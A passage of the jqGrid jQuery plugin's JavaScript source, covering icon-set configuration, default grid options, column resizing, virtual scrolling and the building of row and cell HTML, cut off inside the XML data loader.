"fa-plus" }, inlinedit : { icon_edit_nav : "fa-edit", icon_add_nav : "fa-plus", icon_save_nav : "fa-save", icon_cancel_nav : "fa-replay" }, formedit : { icon_prev : "fa-chevron-left", icon_next : "fa-chevron-right", icon_save : "fa-save", icon_close : "fa-window-close", icon_del : "fa-trash", icon_cancel : "fa-times" }, navigator : { icon_edit_nav : "fa-edit", icon_add_nav : "fa-plus", icon_del_nav : "fa-trash", icon_search_nav : "fa-search", icon_refresh_nav : "fa-sync", icon_view_nav : "fa-sticky-note", icon_newbutton_nav : "fa-external-link-alt" }, grouping : { icon_plus : 'fa-caret-right', icon_minus : 'fa-caret-down' }, filter : { icon_search : 'fa-search', icon_reset : 'fa-reply', icon_query :'fa-pen-square ' }, subgrid : { icon_plus : 'fa-arrow-circle-right', icon_minus : 'fa-arrow-circle-down', icon_open : 'fa-ellipsis-v' }, treegrid : { icon_plus : 'fa-plus', icon_minus : 'fa-minus', icon_leaf : 'fa-circle' }, fmatter : { icon_edit : "fa-edit", icon_add : "fa-plus", icon_save : "fa-save", icon_cancel : "fa-undo", icon_del : "fa-trash" }, colmenu : { icon_menu : "fa-ellipsis-v", icon_sort_asc : "fa-sort-amount-up", icon_sort_desc : "fa-sort-amount-down", icon_columns : "fa-columns", icon_filter : "fa-filter", icon_group : "fa-object-group", icon_freeze : "fa-snowflake", icon_move: "fa-expand-arrows-alt", icon_new_item : "fa-external-link-alt", icon_toolbar_menu : "fa-list", icon_group_op :"", icon_oper_op : "", icon_reset : "fa-reply", icon_close : "fa-window-close" } }, Bootstrap5 : { common : { icon_base : "bi" }, base : { icon_first : "bi-chevron-bar-left", icon_prev : "bi-chevron-left", icon_next: "bi-chevron-right", icon_end: "bi-chevron-bar-right", icon_asc : "bi-caret-up-fill", icon_desc : "bi-caret-down-fill", icon_caption_open : "bi-arrows-collapse", icon_caption_close : "bi-arrows-expand" }, modal : { icon_close : "bi-x-lg", icon_resizable : "bi-box-arrow-in-down-right" }, inlinedit : { icon_edit_nav : "bi-pencil-square", icon_add_nav : "bi-plus-square", icon_save_nav : "bi-save", icon_cancel_nav : "bi-x-square" }, formedit : { icon_prev : "bi-chevron-left", icon_next : "bi-chevron-right", icon_save : "bi-save", icon_close : "bi-x-square", icon_del : "bi-trash", icon_cancel : "bi-x-octagon" }, navigator : { icon_edit_nav : "bi-pencil-square", icon_add_nav : "bi-plus-square", icon_del_nav : "bi-trash", icon_search_nav : "bi-search", icon_refresh_nav : "bi-arrow-clockwise", icon_view_nav : "bi-view-list", icon_newbutton_nav : "bi-window" }, grouping : { icon_plus : 'bi-caret-right', icon_minus : 'bi-caret-down' }, filter : { icon_search : 'bi-search', icon_reset : 'bi-arrow-clockwise', icon_query :'bi-journal-code' }, subgrid : { icon_plus : 'bi-chevron-right', icon_minus : 'bi-chevron-down', icon_open : 'bi-arrow-bar-right' }, treegrid : { icon_plus : 'bi-plus-square-dotted', icon_minus : 'bi-dash-square-dotted', icon_leaf : 'bi-circle' }, fmatter : { icon_edit : "bi-pencil-square", icon_add : "bi-plus-square", icon_save : "bi-save", icon_cancel : "bi-x-square", icon_del : "bi-trash" }, colmenu : { icon_menu : "bi-list", icon_sort_asc : "bi-sort-alpha-down", icon_sort_desc : "bi-sort-alpha-up", icon_columns : "bi-columns", icon_filter : "bi-search", icon_group : "bi-collection-play", icon_freeze : "bi-layout-text-sidebar-reverse", icon_move: "bi-arrows-move", icon_new_item : "bi-window", icon_toolbar_menu : "bi-card-text", icon_group_op :"", icon_oper_op : "", icon_reset : "bi-arrow-clockwise", icon_close : "bi-x-square" } } } }); $.fn.jqGrid = function( pin ) { if (typeof pin === 'string') { var fn = $.jgrid.getMethod(pin); if (!fn) { throw "jqGrid - No such method: " + pin; } var args = $.makeArray(arguments).slice(1); return fn.apply(this,args); } return this.each( function() { if(this.grid) {return;} var localData; if ( !$.jgrid.isNull(pin) && pin.data !== undefined) { localData = pin.data; pin.data = []; } var p = $.extend(true,{ url: "", height: 150, defaultColWidth : 150, page: 1, rowNum: 20, rowTotal : null, records: 0, pager: "", pgbuttons: true, pginput: true, colModel: [], rowList: [], colNames: [], sortorder: "asc", sortname: "", datatype: "xml", mtype: "GET", altRows: false, selarrrow: [], preserveSelection : false, savedRow: [], shrinkToFit: true, xmlReader: {}, jsonReader: {}, subGrid: false, subGridModel :[], reccount: 0, lastpage: 0, lastsort: 0, selrow: null, beforeSelectRow: null, onSelectRow: null, onSortCol: null, ondblClickRow: null, onRightClickRow: null, onPaging: null, onSelectAll: null, onInitGrid : null, loadComplete: null, gridComplete: null, loadError: null, loadBeforeSend: null, afterInsertRow: null, beforeRequest: null, beforeProcessing : null, onHeaderClick: null, viewrecords: false, loadonce: false, multiselect: false, multikey: false, multiboxonly : false, multimail : false, multiselectWidth: 30, onMultiSleect : null, editurl: null, search: false, caption: "", hidegrid: true, hiddengrid: false, postData: {}, userData: {}, treeGrid : false, treeGridModel : 'nested', treeReader : {}, treeANode : -1, ExpandColumn: null, tree_root_level : 0, prmNames: { page:"page", rows:"rows", sort: "sidx", order: "sord", search:"_search", nd:"nd", id:"id", oper:"oper", editoper:"edit", addoper:"add", deloper:"del", subgridid:"id", npage: null, totalrows:"totalrows" }, forceFit : false, gridstate : "visible", cellEdit: false, cellsubmit: "remote", nv:0, loadui: "enable", toolbar: [false,""], scroll: false, deselectAfterSort : true, scrollrows : false, autowidth: false, scrollOffset : $.jgrid.scrollbarWidth() + 3, // one extra for windows cellLayout: 5, subGridWidth: 20, gridview: true, rownumWidth: 35, rownumbers : false, pagerpos: 'center', recordpos: 'right', footerrow : false, userDataOnFooter : false, headerrow : false, userDataOnHeader : false, hoverrows : true, viewsortcols : [false,'vertical',true], resizeclass : '', autoencode : false, remapColumns : [], ajaxGridOptions :{}, direction : "ltr", toppager: false, headertitles: false, scrollTimeout: 40, data : [], _index : {}, grouping : false, groupingView : { groupField:[], groupOrder:[], groupText:[], groupColumnShow:[], groupSummary:[], showSummaryOnHide: false, sortitems:[], sortnames:[], summary:[], summaryval:[], plusicon: '', minusicon: '', displayField: [], groupSummaryPos:[], formatDisplayField : [], _locgr : false }, groupHeaderOn : false, ignoreCase : true, cmTemplate : {}, idPrefix : "", multiSort : false, minColWidth : 33, minGridWidth : 100, maxGridWidth : 3000, scrollPopUp : false, scrollTopOffset: 0, // pixel scrollLeftOffset : "100%", //percent scrollMaxBuffer : 0, storeNavOptions: false, regional : "en", styleUI : "jQueryUI", iconSet : "Iconic", responsive : false, forcePgButtons : false, resizeHeight : true, restoreCellonFail : true, editNextRowCell : false, colFilters : {}, colMenu : false, colMenuCustom : {}, colMenuColumnDone : null, colMenuBeforeProcess : null, colSpanHeader : [], // tree pagging treeGrid_bigData: false, treeGrid_rootParams: {otherData:{}}, treeGrid_beforeRequest: null, treeGrid_afterLoadComplete: null, useNameForSearch : false, formatFooterData : false, formatHeaderData : false, mergeSearch : false, searchModules : { mergeOper : 'AND', filterInput : true, filterToolbar : true, searchGrid : true, colMenuSearch : true }, emptyRecordRow : true, ariaBody : false, searchCols : false, searchColOptions : { colWidth : 90, searchOp : "OR", //default operand : "cn", // default useCase : false, // for searching colName : "Search Col", // header title colmenu : true, // special colmenu searchOnEnter : true, aOperands : ['cn', 'bw', 'ew', 'eq', 'ne'], // allowed options _cnth : ['cb', 'rn', 'sc', 'subgrid', 'col_name'], // internal (just in case) visibleColumns : [] }, dbconfig: { dbname : "", dbversion : -1, dbtable : "", deleteIfExists : false, loadIfExists : false, isKeyInData : false, dataUrl : "", reader : null, beforeInsertData : null, fetchOptions : {} } }, $.jgrid.defaults , pin ); if (localData !== undefined) { p.data = localData; pin.data = localData; } var ts= this, grid={ headers:[], cols:[], footers: [], hrheaders : [], dragStart: function(i,x,y) { var gridLeftPos = $(this.bDiv).offset().left, minW = parseInt( (p.colModel[i].minResizeWidth ? p.colModel[i].minResizeWidth : p.minColWidth), 10); if(isNaN( minW )) { minW = 33; } this.resizing = { idx: i, startX: x.pageX, sOL : x.pageX - gridLeftPos, minW : minW }; this.hDiv.style.cursor = "col-resize"; this.curGbox = $("#rs_m"+$.jgrid.jqID(p.id),"#gbox_"+$.jgrid.jqID(p.id)); this.curGbox.css({display:"block",left:x.pageX-gridLeftPos,top:y[1],height:y[2]}); $(ts).triggerHandler("jqGridResizeStart", [x, i]); if($.jgrid.isFunction(p.resizeStart)) { p.resizeStart.call(ts,x,i); } document.onselectstart=function(){return false;}; }, dragMove: function(x) { if(this.resizing) { var diff = x.pageX-this.resizing.startX, h = this.headers[this.resizing.idx], newWidth = p.direction === "ltr" ? h.width + diff : h.width - diff, hn, nWn; if(newWidth > this.resizing.minW) { this.curGbox.css({left:this.resizing.sOL+diff}); if(p.forceFit===true ){ hn = this.headers[this.resizing.idx+p.nv]; nWn = p.direction === "ltr" ? hn.width - diff : hn.width + diff; if(nWn > this.resizing.minW ) { h.newWidth = newWidth; hn.newWidth = nWn; } } else { this.newWidth = p.direction === "ltr" ? p.tblwidth+diff : p.tblwidth-diff; h.newWidth = newWidth; } } } }, dragEnd: function( events, forceFrozen ) { this.hDiv.style.cursor = "default"; if(forceFrozen === undefined) { forceFrozen = true; } if(this.resizing) { var idx = this.resizing.idx, nw = this.headers[idx].newWidth || this.headers[idx].width; nw = parseFloat(nw); this.resizing = false; $("#rs_m"+$.jgrid.jqID(p.id)).css("display","none"); p.colModel[idx].width = nw; this.headers[idx].width = nw; this.headers[idx].el.style.width = nw + "px"; this.cols[idx].style.width = nw+"px"; if(this.footers.length>0) {this.footers[idx].style.width = nw+"px";} if(this.hrheaders.length>0) {this.hrheaders[idx].style.width = nw+"px";} if(p.forceFit===true){ nw = this.headers[idx+p.nv].newWidth || this.headers[idx+p.nv].width; this.headers[idx+p.nv].width = nw; this.headers[idx+p.nv].el.style.width = nw + "px"; this.cols[idx+p.nv].style.width = nw+"px"; if(this.footers.length>0) {this.footers[idx+p.nv].style.width = nw+"px";} if(this.hrheaders.length>0) {this.hrheaders[idx+p.nv].style.width = nw+"px";} p.colModel[idx+p.nv].width = nw; } else { p.tblwidth = this.newWidth || p.tblwidth; $(this.bDiv).find('table').first().css("width",p.tblwidth+"px"); $(this.hDiv).find('table').first().css("width",p.tblwidth+"px"); this.hDiv.scrollLeft = this.bDiv.scrollLeft; if(p.footerrow) { $(this.sDiv).find('table').first().css("width",p.tblwidth+"px"); this.sDiv.scrollLeft = this.bDiv.scrollLeft; } if(p.headerrow) { $(this.hrDiv).find('table').first().css("width",p.tblwidth+"px"); this.hrDiv.scrollLeft = this.bDiv.scrollLeft; } } if(events) { $(ts).triggerHandler("jqGridResizeStop", [nw, idx]); if($.jgrid.isFunction(p.resizeStop)) { p.resizeStop.call(ts,nw,idx); } } if(p.frozenColumns && forceFrozen) { $("#"+$.jgrid.jqID(p.id)).jqGrid("destroyFrozenColumns"); $("#"+$.jgrid.jqID(p.id)).jqGrid("setFrozenColumns"); } } this.curGbox = null; document.onselectstart=function(){return true;}; }, populateVisible: function() { if (grid.timer) { clearTimeout(grid.timer); } grid.timer = null; var dh = $(grid.bDiv).height(); if (!dh) { return; } var table = $(grid.bDiv).find("table").first(); var rows, rh; if(table[0].rows.length) { try { rows = table[0].rows[1]; rh = rows ? $(rows).outerHeight() || grid.prevRowHeight : grid.prevRowHeight; } catch (pv) { rh = grid.prevRowHeight; } } if (!rh) { return; } grid.prevRowHeight = rh; var rn = p.rowNum; var scrollTop = grid.scrollTop = grid.bDiv.scrollTop; var ttop = Math.round(table.position().top) - scrollTop; var tbot = ttop + table.height(); var div = rh * rn; var page, npage, empty; if ( tbot < dh && ttop <= 0 && (p.lastpage===undefined||(parseInt((tbot + scrollTop + div - 1) / div,10) || 0) <= p.lastpage)) { npage = parseInt((dh - tbot + div - 1) / div,10) || 1; if (tbot >= 0 || npage < 2 || p.scroll === true) { page = ( Math.round((tbot + scrollTop) / div) || 0) + 1; ttop = -1; } else { ttop = 1; } } if (ttop > 0) { page = ( parseInt(scrollTop / div,10) || 0 ) + 1; npage = (parseInt((scrollTop + dh) / div,10) || 0) + 2 - page; empty = true; } if (npage) { if (p.lastpage && (page > p.lastpage || p.lastpage===1 || (page === p.page && page===p.lastpage)) ) { return; } if (grid.hDiv.loading) { grid.timer = setTimeout(grid.populateVisible, p.scrollTimeout); } else { p.page = page; if( p.scrollMaxBuffer > 0 ) { if( rn > 0 && p.scrollMaxBuffer < rn ) { p.scrollMaxBuffer = rn + 1; } if(p.reccount > (p.scrollMaxBuffer - (rn > 0 ? rn : 0) ) ) { empty = true; } } if (empty) { grid.selectionPreserver(table[0]); grid.emptyRows.call(table[0], false, false); } grid.populate(npage); } if(p.scrollPopUp && !$.jgrid.isNull(p.lastpage)) { $("#scroll_g"+p.id).show().html( $.jgrid.template( $.jgrid.getRegional(ts, "defaults.pgtext", p.pgtext) , p.page, p.lastpage)).css({ "top": p.scrollTopOffset+scrollTop*((parseInt(p.height,10) - 45)/ (parseInt(rh,10)*parseInt(p.records,10))) +"px", "left" : p.scrollLeftOffset}); $(this).mouseout(function(){ $("#scroll_g"+p.id).hide(); }); } } }, scrollGrid: function() { if(!grid.bScroll) { grid.hScroll = true; if(p.scroll) { var scrollTop = grid.bDiv.scrollTop; if(grid.scrollTop === undefined) { grid.scrollTop = 0; } if (scrollTop !== grid.scrollTop) { grid.scrollTop = scrollTop; if (grid.timer) { clearTimeout(grid.timer); } grid.timer = setTimeout(grid.populateVisible, p.scrollTimeout); } } grid.hDiv.scrollLeft = grid.bDiv.scrollLeft; if(p.footerrow) { grid.sDiv.scrollLeft = grid.bDiv.scrollLeft; } if(p.headerrow) { grid.hrDiv.scrollLeft = grid.bDiv.scrollLeft; } if(p.frozenColumns) { $(grid.fbDiv).scrollTop( grid.bDiv.scrollTop ); } try { $("#column_menu").remove(); } catch (e) {} } grid.bScroll = false; }, selectionPreserver : function(ts) { var p = ts.p, sr = p.selrow, sra = p.selarrrow ? $.makeArray(p.selarrrow) : null, left = ts.grid.bDiv.scrollLeft, restoreSelection = function() { var i; //p.selrow = null; //p.selarrrow = []; if(p.multiselect && sra && sra.length>0) { for(i=0;i<sra.length;i++){ if (sra[i]) { $(ts).jqGrid("setSelection", sra[i], false, "_sp_"); } } } if (!p.multiselect && sr) { $(ts).jqGrid("setSelection", sr, false, null); } ts.grid.bDiv.scrollLeft = left; $(ts).off('.selectionPreserver', restoreSelection); }; $(ts).on('jqGridGridComplete.selectionPreserver', restoreSelection); }, hScroll : false, bScroll : false }; if( this.tagName.toUpperCase() !== 'TABLE' || $.jgrid.isNull(this.id) ) { alert("Element is not a table or has no id!"); return; } if(document.documentMode !== undefined ) { // IE only if(document.documentMode <= 5) { alert("Grid can not be used in this ('quirks') mode!"); return; } } var i =0, lr, lk, dir, spsh; for( lk in $.jgrid.regional ){ if($.jgrid.regional.hasOwnProperty(lk)) { if(i===0) { lr = lk; } i++; } } if(i === 1 && lr !== p.regional) { p.regional = lr; } $(this).empty().attr("tabindex","0"); this.p = p ; this.p.useProp = !!$.fn.prop; if(this.p.colNames.length === 0) { for (i=0;i<this.p.colModel.length;i++){ this.p.colNames[i] = this.p.colModel[i].label || this.p.colModel[i].name; } } if( this.p.colNames.length !== this.p.colModel.length ) { alert($.jgrid.getRegional(this,"errors.model")); return; } if(ts.p.styleUI === 'Bootstrap4') { if($.jgrid.iconSet.hasOwnProperty(ts.p.iconSet)) { $.extend(true, $.jgrid.styleUI.Bootstrap4, $.jgrid.iconSet[ts.p.iconSet]); } } if(ts.p.styleUI === 'Bootstrap5') { if($.jgrid.iconSet.hasOwnProperty(ts.p.iconSet)) { $.extend(true, $.jgrid.styleUI.Bootstrap5, $.jgrid.iconSet[ts.p.iconSet]); } } var getstyle = $.jgrid.getMethod("getStyleUI"), stylemodule = ts.p.styleUI + ".common", disabled = getstyle(stylemodule,'disabled', true), highlight = getstyle(stylemodule,'highlight', true), hover = getstyle(stylemodule,'hover', true), cornerall = getstyle(stylemodule,'cornerall', true), iconbase = getstyle(stylemodule,'icon_base', true), colmenustyle = $.jgrid.styleUI[(ts.p.styleUI || 'jQueryUI')].colmenu, isMSIE = $.jgrid.msie(), gv, sortarr = [], sortord = [], sotmp=[]; stylemodule = ts.p.styleUI + ".base"; gv = $("<div "+getstyle(stylemodule, 'viewBox', false, 'ui-jqgrid-view')+" ></div>"); ts.p.direction = $.jgrid.trim(ts.p.direction.toLowerCase()); ts.p._ald = false; if($.inArray(ts.p.direction,["ltr","rtl"]) === -1) { ts.p.direction = "ltr"; } dir = ts.p.direction; $(gv).insertBefore(this); $(this).appendTo(gv); var eg = $("<div "+ getstyle(stylemodule, 'entrieBox', false, 'ui-jqgrid') +"></div>"); $(eg).attr({"id" : "gbox_"+this.id,"dir":dir}).insertBefore(gv); $(gv).attr("id","gview_"+this.id).appendTo(eg); $("<div "+getstyle(ts.p.styleUI+'.common','overlay', false, 'jqgrid-overlay')+ " id='lui_"+this.id+"'></div>").insertBefore(gv); $("<div "+getstyle(stylemodule,'loadingBox', false, 'loading')+" id='load_"+this.id+"'>"+$.jgrid.getRegional(ts, "defaults.loadtext", this.p.loadtext)+"</div>").insertBefore(gv); $(this).attr({role:"grid","aria-multiselectable":!!this.p.multiselect,"aria-labelledby":"gbox_"+this.id}); if(ts.p.datatype === 'indexeddb') { // datatype in databases $(ts).jqGrid('dbInit',ts.p.datatype ); } var sortkeys = ["shiftKey","altKey","ctrlKey"], grid_font = $.jgrid.getFont( ts ) , intNum = function(val, defval) { if( defval === undefined ) { defval = 0; } val = parseInt(val,10); return !isNaN(val) ? val : defval; }, formatCol = function (pos, rowInd, tv, rawObject, rowId, rdata){ var cm = ts.p.colModel[pos], cellAttrFunc, ral = cm.align, result="style=\"", clas = cm.classes, nm = cm.name, celp, acp=[]; if(ral) { result += "text-align:"+ral+";"; } if(cm.hidden===true) { result += "display:none;"; } if(rowInd===0) { result += "width: "+grid.headers[pos].width+"px;"; } else if ( $.jgrid.isFunction(cm.cellattr) || (typeof cm.cellattr === "string" && !$.jgrid.isNull( $.jgrid.cellattr ) && $.jgrid.isFunction($.jgrid.cellattr[cm.cellattr]))) { cellAttrFunc = $.jgrid.isFunction(cm.cellattr) ? cm.cellattr : $.jgrid.cellattr[cm.cellattr]; celp = cellAttrFunc.call(ts, rowId, tv, rawObject, cm, rdata); if(celp && typeof celp === "string") { if(celp.indexOf('title') > -1) { cm.title=false;} if(celp.indexOf('class') > -1) { clas = undefined;} celp = String(celp).replace(/\s+\=/g, '='); acp = celp.split("style="); if(acp.length === 2 ) { acp[1] = $.jgrid.trim(acp[1]); if(acp[1].indexOf("'") === 0 || acp[1].indexOf('"') === 0) { acp[1] = acp[1].substring(1); } result += acp[1].replace(/'/gi,'"'); } else { result += "\""; } } } if(!acp.length ) { acp[0] = ""; result += "\""; } else if(acp.length > 2) { acp[0] = ""; } result += (clas !== undefined ? (" class=\""+clas+"\"") :"") + ((cm.title && tv) ? (" title=\""+$.jgrid.stripHtml(tv)+"\"") :""); result += " aria-describedby=\""+ts.p.id+"_"+nm+"\""; return result + acp[0]; }, cellVal = function (val) { return $.jgrid.isNull(val) || val === "" ? " " : (ts.p.autoencode ? $.jgrid.htmlEncode(val) : String(val)); }, formatter = function (rowId, cellval , colpos, rwdat, _act){ var cm = ts.p.colModel[colpos],v; rowId = String(ts.p.idPrefix) !== "" ? $.jgrid.stripPref(ts.p.idPrefix, rowId) : rowId; var opts= {rowId: rowId, colModel:cm, gid:ts.p.id, pos:colpos, styleUI: ts.p.styleUI }; if(cm.formatter !== undefined) { if($.jgrid.isFunction( cm.formatter ) ) { v = cm.formatter.call(ts,cellval,opts,rwdat,_act); } else if($.fmatter){ v = $.fn.fmatter.call(ts,cm.formatter,cellval,opts,rwdat,_act); } else { v = cellVal(cellval); } } else { v = cellVal(cellval); } if(ts.p.autoResizing && cm.autosize) { if(!cm._maxsize) { cm._maxsize = cm.canvas_width; } cm._maxsize = Math.max( (!!$.jgrid.isFunction( cm.sizingStringFunc ) ? cm.sizingStringFunc.call(ts, v, grid_font, opts, rwdat) : $.jgrid.getTextWidth( v, grid_font ) ), cm._maxsize ); } return v; }, addCell = function(rowId,cell,pos,irow, srvr, rdata) { var v,prp; v = formatter(rowId,cell,pos,srvr,'add'); prp = formatCol( pos,irow, v, srvr, rowId, rdata); return "<td role=\"gridcell\" "+prp+">"+v+"</td>"; }, addMulti = function(rowid, pos, irow, checked, uiclass, srvr){ var rowSelectTitle=$.jgrid.getRegional(ts, "defaults.selectLine"); rowSelectTitle=rowSelectTitle ? rowSelectTitle : $.jgrid.regional['en'].defaults.selectLine; var v = "<input role=\"checkbox\" title='"+rowSelectTitle+"' type=\"checkbox\""+" id=\"jqg_"+ts.p.id+"_"+rowid+"\" "+uiclass+" name=\"jqg_"+ts.p.id+"_"+rowid+"\"" + (checked ? "checked=\"checked\"" : "")+"/>", cm = ts.p.colModel[pos]; if(cm.formatter !== undefined && $.jgrid.isFunction( cm.formatter )) { v = cm.formatter.call(ts,v,{rowId: rowid, colModel:cm, gid:ts.p.id, pos:pos, styleUI: ts.p.styleUI },srvr,'add'); } var prp = formatCol( pos,irow, v, srvr, rowid, true); return "<td role=\"gridcell\" "+prp+">"+v+"</td>"; }, addRowNum = function (pos, irow, pG, rN, uiclass ) { var v = (parseInt(pG,10)-1)*parseInt(rN,10)+1+irow, prp = formatCol( pos,irow,v, null, irow, true); return "<td role=\"gridcell\" "+uiclass+" "+prp+">"+v+"</td>"; }, addSearch = function(rowid, pos, irow, uiclass){ var searchColEvent = ts.p.searchColOptions.searchOnEnter ? " onchange=\"$.jgrid.searchColOnEnter('"+ts.p.id+"',"+rowid+", this)\"" : " onkeydown=\"$.jgrid.searchColOnKey('"+ts.p.id+"',"+rowid+",this, event)\""; var v = "<input type=\"text\""+" id=\"jqs_"+ts.p.id+"_"+rowid+"\" name=\"jqs_"+ts.p.id+"_"+rowid+"\" "+uiclass+ searchColEvent +"/>", prp = formatCol( pos,irow,'',null, rowid, true); return "<td role=\"gridcell\" "+prp+">"+v+"</td>"; }, reader = function (datatype) { var field, f=[], j=0, i; for(i =0; i<ts.p.colModel.length; i++){ field = ts.p.colModel[i]; if (field.name !== 'cb' && field.name !=='subgrid' && field.name !=='rn' && field.name !=='sc') { f[j]= datatype === "local" ? field.name : ( (datatype==="xml" || datatype === "xmlstring") ? field.xmlmap || field.name : field.jsonmap || field.name ); if(ts.p.keyName !== false && field.key===true ) { ts.p.keyName = f[j]; ts.p.keyIndex = j; } j++; } } return f; }, orderedCols = function (offset) { var order = ts.p.remapColumns; if (!order || !order.length) { order = $.map(ts.p.colModel, function(v,i) { return i; }); } if (offset) { order = $.map(order, function(v) { return v<offset?null:v-offset; }); } return order; }, emptyRows = function (scroll, locdata) { var firstrow; if (this.p.deepempty) { $(this.rows).slice(1).remove(); } else { firstrow = this.rows.length > 0 ? this.rows[0] : null; $(this.firstChild).empty().append(firstrow); } if (scroll && this.p.scroll) { $(this.grid.bDiv.firstChild).css({height: "auto"}); $(this.grid.bDiv.firstChild.firstChild).css({height: "0px", display: "none"}); if (this.grid.bDiv.scrollTop !== 0) { this.grid.bDiv.scrollTop = 0; } } if(locdata === true ) { //&& this.p.treeGrid && !this.p.loadonce ) { this.p.data = []; this.p._index = {}; } }, normalizeData = function() { var p = ts.p, data = p.data, dataLength = data.length, i, j, cur, idn, idr, ccur, v, rd, localReader = p.localReader, colModel = p.colModel, cellName = localReader.cell, iOffset = (p.multiselect === true ? 1 : 0) + (p.subGrid === true ? 1 : 0) + (p.rownumbers === true ? 1 : 0) + (p.searchCols === true ? 1 : 0), br = p.scroll ? $.jgrid.randId() : 1, arrayReader, objectReader, rowReader; if (p.datatype !== "local" || localReader.repeatitems !== true) { return; // nothing to do } arrayReader = orderedCols(iOffset); objectReader = reader("local"); // read ALL input items and convert items to be read by // $.jgrid.getAccessor with column name as the second parameter idn = p.keyName === false ? ($.jgrid.isFunction(localReader.id) ? localReader.id.call(ts, data) : localReader.id) : p.keyName; for (i = 0; i < dataLength; i++) { cur = data[i]; // read id in the same way like addJSONData do // probably it would be better to start with "if (cellName) {...}" // but the goal of the current implementation was just have THE SAME // id values like in addJSONData ... idr = $.jgrid.getAccessor(cur, idn); if (idr === undefined) { if (typeof idn === "number" && !$.jgrid.isNull( colModel[idn + iOffset]) ) { // reread id by name idr = $.jgrid.getAccessor(cur, colModel[idn + iOffset].name); } if (idr === undefined) { idr = br + i; if (cellName) { ccur = $.jgrid.getAccessor(cur, cellName) || cur; idr = !$.jgrid.isNull(ccur) && ccur[idn] !== undefined ? ccur[idn] : idr; ccur = null; } } } rd = { }; rd[localReader.id] = idr; if (cellName) { cur = $.jgrid.getAccessor(cur, cellName) || cur; } rowReader = Array.isArray(cur) ? arrayReader : objectReader; for (j = 0; j < rowReader.length; j++) { v = $.jgrid.getAccessor(cur, rowReader[j]); rd[colModel[j + iOffset].name] = v; } data[i] = rd; //$.extend(true, data[i], rd); } }, refreshIndex = function() { var datalen = ts.p.data.length, idname, i, val; idname = ts.p.keyName !== false ? ts.p.keyName : idname = ts.p.localReader.id; ts.p._index = {}; for(i =0;i < datalen; i++) { val = $.jgrid.getAccessor(ts.p.data[i],idname); if (val === undefined) { val=String(i+1); } ts.p._index[val] = i; } }, constructTr = function(id, hide, classes, rd, cur ) { var tabindex = '-1', restAttr = '', attrName, style = hide ? 'display:none;' : '', //classes = getstyle(stylemodule, 'rowBox', true) + ts.p.direction + (altClass ? ' ' + altClass : '') + (selected ? ' ' + highlight : ''), rowAttrObj = $(ts).triggerHandler("jqGridRowAttr", [rd, cur, id]); if( typeof rowAttrObj !== "object" ) { rowAttrObj = $.jgrid.isFunction(ts.p.rowattr) ? ts.p.rowattr.call(ts, rd, cur, id) : (typeof ts.p.rowattr === "string" && !$.jgrid.isNull($.jgrid.rowattr) && $.jgrid.isFunction($.jgrid.rowattr[ts.p.rowattr]) ? $.jgrid.rowattr[ts.p.rowattr].call(ts, rd, cur, id) : {}); } if(!$.isEmptyObject( rowAttrObj )) { if (rowAttrObj.hasOwnProperty("id")) { id = rowAttrObj.id; delete rowAttrObj.id; } if (rowAttrObj.hasOwnProperty("tabindex")) { tabindex = rowAttrObj.tabindex; delete rowAttrObj.tabindex; } if (rowAttrObj.hasOwnProperty("style")) { style += rowAttrObj.style; delete rowAttrObj.style; } if (rowAttrObj.hasOwnProperty("class")) { classes += ' ' + rowAttrObj['class']; delete rowAttrObj['class']; } // dot't allow to change role attribute try { delete rowAttrObj.role; } catch(ra){} for (attrName in rowAttrObj) { if (rowAttrObj.hasOwnProperty(attrName)) { restAttr += ' ' + attrName + '=' + rowAttrObj[attrName]; } } } return '<tr role="row" id="' + id + '" tabindex="' + tabindex + '" class="' + classes + '"' + (style === '' ? '' : ' style="' + style + '"') + restAttr + '>'; }, //bvn13 treeGrid_beforeRequest = function() { if (ts.p.treeGrid && ts.p.treeGrid_bigData) { if ( ts.p.postData.nodeid !== undefined && typeof(ts.p.postData.nodeid) === 'string' && ( ts.p.postData.nodeid !== "" || parseInt(ts.p.postData.nodeid,10) > 0 ) ) { ts.p.postData.rows = 10000; ts.p.postData.page = 1; ts.p.treeGrid_rootParams.otherData.nodeid = ts.p.postData.nodeid; } } }, treeGrid_afterLoadComplete = function() { if (ts.p.treeGrid && ts.p.treeGrid_bigData) { if ( ts.p.treeGrid_rootParams.otherData.nodeid !== undefined && typeof(ts.p.treeGrid_rootParams.otherData.nodeid) === 'string' && ( ts.p.treeGrid_rootParams.otherData.nodeid !== "" || parseInt(ts.p.treeGrid_rootParams.otherData.nodeid,10) > 0 ) ) { if ( ts.p.treeGrid_rootParams !== undefined && !$.jgrid.isNull(ts.p.treeGrid_rootParams) ) { ts.p.page = ts.p.treeGrid_rootParams.page; ts.p.lastpage = ts.p.treeGrid_rootParams.lastpage; ts.p.postData.rows = ts.p.treeGrid_rootParams.postData.rows; ts.p.postData.totalrows = ts.p.treeGrid_rootParams.postData.totalrows; ts.p.treeGrid_rootParams.otherData.nodeid = ""; ts.updatepager(false,true); } } else { ts.p.treeGrid_rootParams = { page : ts.p.page, lastpage : ts.p.lastpage, postData : { rows: ts.p.postData.rows, totalrows: ts.p.postData.totalrows }, rowNum : ts.p.rowNum, rowTotal : ts.p.rowTotal, otherData : { nodeid : "" } }; } } }, //-bvn13 addXmlData = function (xml, rcnt, more, adjust) { var startReq = new Date(), locdata = (ts.p.datatype !== "local" && ts.p.loadonce) || ts.p.datatype === "xmlstring", xmlid = "_id_", xmlRd = ts.p.xmlReader, treeadjtmp =[], frd = ts.p.datatype === "local" ? "local" : "xml"; if(locdata) { ts.p.data = []; ts.p._index = {}; ts.p.localReader.id = xmlid; } ts.p.reccount = 0; if($.isXMLDoc(xml)) { if(ts.p.treeANode===-1 && !ts.p.scroll) { emptyRows.call(ts, false, false); rcnt=1; } else { rcnt = rcnt > 1 ? rcnt :1; } } else { return; } var self= $(ts), i,fpos,ir=0,v,si=0,addSubGridCell,idn, getId,f=[],F,rd ={}, xmlr,rid, rowData=[], classes = getstyle(stylemodule, 'rowBox', true, 'jqgrow ui-row-'+ ts.p.direction), ni=ts.p.rownumbers===true ? 1 : 0, gi=ts.p.multiselect===true ? 1 : 0, sc = ts.p.searchCols ===true ? 1 : 0; if(ts.p.subGrid===true) { si = 1; addSubGridCell = $.jgrid.getMethod("addSubGridCell"); } if(!xmlRd.repeatitems) {f = reader(frd);} if( ts.p.keyName===false) { idn = $.jgrid.isFunction( xmlRd.id ) ? xmlRd.id.call(ts, xml) : xmlRd.id; } else { idn = ts.p.keyName; } if(xmlRd.repeatitems && ts.p.keyName && isNaN(idn)) { idn = ts.p.keyIndex; } if( String(idn).indexOf("[") === -1 ) { if (f.length) { getId 